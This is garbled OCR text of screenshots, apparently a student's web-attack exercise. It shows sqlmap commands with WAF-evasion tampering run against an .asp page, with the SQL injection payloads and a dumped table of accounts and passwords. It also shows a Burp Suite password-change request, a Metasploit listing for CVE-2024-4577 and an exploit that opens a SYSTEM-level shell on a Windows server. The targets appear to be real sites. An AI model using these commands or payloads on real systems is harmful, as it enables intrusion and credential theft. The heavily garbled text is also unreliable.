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B ORI e Y @it - S ASqImap T EEES EKEE I

:\Userskcib@1\Desktop\1l13\week6'sqlmap=1.8>python3 sqlmap.py -u "https:// give_planresult.asp?HindNo=125" -p HindNe =--=batch dbs

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable loc
nd federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:18:84 /202U-B86-83/

[ 1L ] resuming back-end DEMS ‘'microsoft sql server
[ ] ]
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCCSACDAS=BIBCPOECEBM...MHLPFDJICI;TS8132bd12=0la69efflU6...T762dT9ee65"'). Do you wa
hose [¥/n] ¥
L ] [ERITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injectien point(s) from stored session:
Parameter: HindNe (GET)
Type: inline query
Title: Generic inline gqueries
Payload: KindNeo=(SELECT CONCAT(CONCAT(CHAR(113)+CHAR({113)+CHAR(112)+CHAR(98)+CHAR(113) K (CASE WHEN ([98265=9826) THEN CHAR(U9) ELSE CHAR(UE) END)),CHAR(113)+C
12)+CHAR(98)+CHAR(113)))

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)

Payleoad: KindNe=125 AND 2181 IN (SELECT (CHAR({113)+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2181=2181) THEN CHAR(49) ELSE CHAR(U4B) END))+CHAR
186)+CHAR(112)+CHAR(98)+CHAR(113)))

[ ] ]
web server operating system: Windows
web application technology: ASP
back-end DEMS: Microsoft SQL Server 2819
] 0 ] fetching database names
ARNING] connection timed out while trying te get errer page information (588)
the SQL query provided does not return any output
Y F ¥ F
in case of continuous data retrieval problems you are advised to try a switch '--no-cast
I ¥ b
] retrieved: ° i

[
[
[
[
[ ] retrieved: '| b
[
[
[
[
[

or switch '—==hex

] retrieved: * b "

] retrieved: i =

] retrieved: ‘i 1

] retrieved: °* i

] retrieved:
tabases [5]:

5
et el ot el e e e e e

available d:
[*]

[*] A 3
[*] n

[#] &

[*] 1 ib
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o FHSgImap L B - BEERZE - WIESIANIRIRET

C:\Users\cib01\Desktop\113\week6\sqlmap-1.8>python3 sqlmap.py -u "https://|
No=125" -p KindNe --batch -D d --dump --no-cast --tamper=space2comment

tw/give_planresult.asp?Kind

_H__
S | | [ | }
[_-]. 0] | ..
S 1 Y

|_|v... .| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[#] starting @ 10:36:20 /2024-086-03/

[10:36:20] [ ] loading tamper module 'space2comment'
[10:36:20] [ ] resuming back-end DBMS 'microsoft sql server'
[10:36:20] [INFO]

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCCSACDAS=IMBCPOECHFH...
2bU12=01a69eff1U6. . .U1e2295e61'). Do you want to use those [Y/n] Y
[16:36:21] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
Parameter: KindNo (GET)

Type: inline query

Title: Generic inline queries

Payload: WindNo=(SELECT CONCAT(CONCAT(CHAR(113)+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113),(CASE WHEN (9826=9826) THEN C
HAR(Y9) ELSE CHAR(U8) END)),CHAR(113)+CHAR(166)+CHAR(112)+CHAR(98)+CHAR(113)))

OCMCMKFEDD; T5013

[ 1:15] [WARNING] potential binary fields detected ('GroupNo,PType,Professor, [Position]'). In case of any problems yo
u are advised to rerun table dump with '--fresh-queries =-binary-fields="GroupNo,PType,Professor, [Position]"'
Database: h
Table: B_ ist

[19 entries]
b= e i o e e e S e i e —e——am = === +
| PersonID PType | Groupho | Password | Professor | Account | Position

———————— += - - P ¥ B - - $em== P i
| 3 | \xa9\xad\xfb | \xb27K\xb2\xd5 | )3 | \xbeB\xc27X | 8] | \xa%\xad\xfb |
I 5 | \xa9e\xad\xfb | \xb2?\xbb\xb2\xd5 | 6 | \xa7\xba\xad?w | 8 | \xa%\xad\xfb |
| | | \xa9%\xad\xfb | \xb2?E\xb2\xd5 | 1 | \xe1?\xcB\xb70 | @ | \xa%\xad\xfb |
| ) | \xa9e\xad\xfb | \xb2?K\xb2\xd5 | 2 | \xbf\xeB\xac?\xe8 | 1 | \xa%\xad\xfb |
| 156789 | \xaTU\xb2z | \xb2?2@\xb2\xd5 | | \xa\xfd0O | 1 | \xblM\xae?U\xb2z |
| | | \xa%\xad\xfb | \xb2?|\xb2\xd5 | | \xbeG\xbcy\xa5\xcl | 1 | \xa%'\xad\xfb |
| 3 | \xa9\xad\xfb | \xb2?\xbb\xb2\xd5 | | \xb2\xf8\xa57\xal | 2 | \xa%\xad\xfb |
| B | \xa9e\xad\xfb | \xb2?8\xb2\xd5 | | \xb3\xaf\xad\xbb? | 2 | \xa%\xad\xfb |
| ) | \xa9e\xad\xfb | \xb2?C\xb2\xd5 | | \xath\xfb\xb2[\xbOx | 3 | \xa%\xad\xfb |
| | | \xa9e\xad\xfb | \xb2?G\xb2\xd5 | | \xa7d\xa9\xfa\xb6\xaf | 4 | \xa%\xad\xfb |
| ) | \xa9\xad\xfb | \xb2?\xad\xb2\xd5 | | 7\xbt\xba\xb6i W | \xa%'\xad\xfb |
| 5 | \xa9\xad\xfb | \xb2?C\xb2\xd5 | | \xb3\xaf\xclc\xbf\xb3 W | \xa9e\xad\xfb |
| 5 | \xa9\xad\xfb | \xb2?\xad\xb2\xd5 | | \xb6\xch\xbTs\xb5a | 7 | \xa%'\xad\xfb |
| 5 | \xa9e\xad\xfb | \xb27@\xb2\xd5 | | \xa50\xb6\xbaa | 7 | \xa%\xad\xfb |
| 5 | \xa9e\xad\xfb | \xb2?7G\xb2\xd5 | | \xb3\xaf\xabH\xa5\xbf | 7 | \xa%\xad\xfb |
| ! | \xa9e\xad\xfb | \xb2?E\xb2\xd5 | | \xaal\xb2M\xabn | 17 | \xa%\xad\xfb |
| ! | \xa%e\xad\xfb | \xb27T\xb2\xd5 | | \xaT\xf5\xc5t\xaa\xda | & | \xa%\xad\xfb |
| 5 | \xa9e\xad\xfb | \xb2?T\xb2\xd5 | | \xb7\xa8\xbT\xeT\xad%\xfa | 9 | \xa9e\xad\xfb |
| 3 | \xa9\xad\xfb | \xb2?|\xb2\xd5 | | \xbﬂ\xb¥\xclz\x35\xFa | 9 | \xa%'\xad\xfb |
pummm—— 4= - mmmfmmmmmemm—m—m————— pmmmmm————— pmmmmmmmmm——mee—e———————— pmmmm—m———— fmmmmmmmmmm——m————— +
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Burp Suitef@ &
/EE\:EQ?;QEQ
" Account |

M. EEEREMR
S48 Z 2

g il < %2 (3/4)

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder
1 % 2 x 3 x 4 = 5% 4+
Request
Raw  Hex B wn =

CfDJ BOVTULKL LVhCqss2FAVED 3951 $xC57] mB2AGva L xREVUMNFK 268 RuMw 14COCT DWVGSVZACtp
2W2Vpte1g59Crcg] J0LIkNret f admsmn XL Lr%2BbUL00s%2BBZs rU1 dJW] Sy 2TET ShyBROavON
Ey L ADBdAYSXBI X Tww7panQGGY nvENHIE; GCILB="c041lcc46f009258"; GOLB=
*1417c7445b27c7cf"

4 User-Agent: Mozilla/S5.0 (X11; Linux xB86_64; rv:109,0) Gecko/20100101
Firefox/115.0

S Accept: #/*

& Accept-Language: en-Us,en;g=0.5

7 Accept-Encoding: gzip, deflate, br

8 Gs-Csrf-Token:

cfDisDvTulkLlvhCg_AVEo39s1s1s4ZbySDckeUx2#FkPIt7-n1SYDPST2UL - - 1sfwddBBterac
tnxolWas)Iye-WSo7dwdi xhMH3ZdPLfgvIENPSLK - kg_jB1)_fPZI_sSorbXBOuxp_TF2RBo1X-T
qvDvg

9 Gs-Request-Token: P8gBQalAUxv- aYzMoq_dS)cMvyRWIG6e0211d0Zi Swgo

10 X-Requested-With: XMLHttpRequest
11 Content-Type: multipart/form-data;
boundary=-««srrrmaniai i, 266534894591480150388591209562

12 Content.-Length: 762

13 Origin: https://www W

14 Referer: https:// tw'-’change

15 Sec-Fetch-Dest: empty

16 Sec-Fetch-Mode: cors

17 Sec-Fetch-Site: same-origin

18 Te: trailers

15

20 <m e 265348945914801 50398591 209562
21 Content-Disposition: form-data; name="ACCOUNT"

2 SR 26634894591480150358591 209562
25 Content-Disposition: form-data; name="NEW_PASSWORD"

27 lgaz@SK3adcRFY
e L LA 26634894591480150398651209562
form-data; name="CHECK_NEW_PASSWORD"

29 Content-Disposition:
30
31 1qaz@isSX3edcRFY

EREBXEM R

National Institute of Cyber Security

ommunity Edition v2023.12.1.5 - Temporary Project

Comparer Logger Organizer Extensions Learn

Response

Pretty Raw Hex
1 HTTR/2 200 OK

2 Content-Type: text/plain; charset=utf-8
3 Server: Microsoft-IIs/10. D

5
I

Render

6 X-Frame-Options: sameorigin

7 X-Frame-Options: SAMEORIGIN

2 X-Xss-Protection: 1; mode=block

9 X-Conmtent-Type-Options: nosniff

10 Access-Control-Allow-Origin: *

11 Apserver: G_TGOSOL

12 Access-Control-Allow-Methods: GET,POST

13 Date: Mon, 22 Apr 2024 07:09:13 GMT

14 Via: 1.1 google, 1.1 google

15 Alt-Sve: h3=":443%; ma=2552000,h3-29=":443"; ma=2552000

17 {"Redirect :null, "Content" :{},"Extend":{},"ContentList":[], "ExtendList":[],
"ContentObject®:{},"Extendobject" :{},"ContentCount* : 0, "ExtendCount" : 0, " Cont
entListCount®:0, "ExtendListCount®:0,"Code": 1, " Message® : " BB ERIRALLY | SROEFIME
WEA", *MethodName® : " changePassword" |
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iR SN 06 88 31 B 1R B 2106081258688 0 - WEF1...

BREERBEYERE

MEEEAR (CNS) EXEE
mmmmas ~ o 0 VodPress a7z i EHE EAE
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2 WP-Statistics 12812 W Windows Server
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i) Exploit prediction scoring system (EPSS) score for CVE-2024-4577

~ 100 %

Probahbility of exploitation activity in the next 30 days  EPS5S Score History

Parcentile, the proportion of vulnerabilities that are scored at or less

Metasploit modules for CVE-2024-4577

%" PHP CGI Argument Injection Remote Code Execution [

exploitfwindows/http/php_cgi_arg_injection_rce_cwe_2024_4577
This module expleits a PHP GGl argument injection vulngrability aﬂuclir‘-g PHP i certain configurations aon a
dependant {such as Chinesa or Japanese), such that tha Unicode best-fit comversion schams will unexpech

Mare information &
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o] B #=HVE A UL

LVE-cd2H-4a7

Coded By: H3ysTreK3R

Checking if the target is vulperable
The target https:|
Initial command output: nt authority\system

Initiating interactive shell
Interactive shell opened successfully
Shell> wheami
nt _authoritvisvstem
Shell> ipconfig
Windows IP ¢]ew

ofof9ooed Ethernetf:

e#seuesSew DNS eeeX | S

IPvd #¢} . . . . . . . . . . . . : 192.168.

loeodoeBon . . . . . . . . . . . .: 255.255

ewelehed . . . . . . . . . . . . .: 192.168
Shell=

is vulnerable
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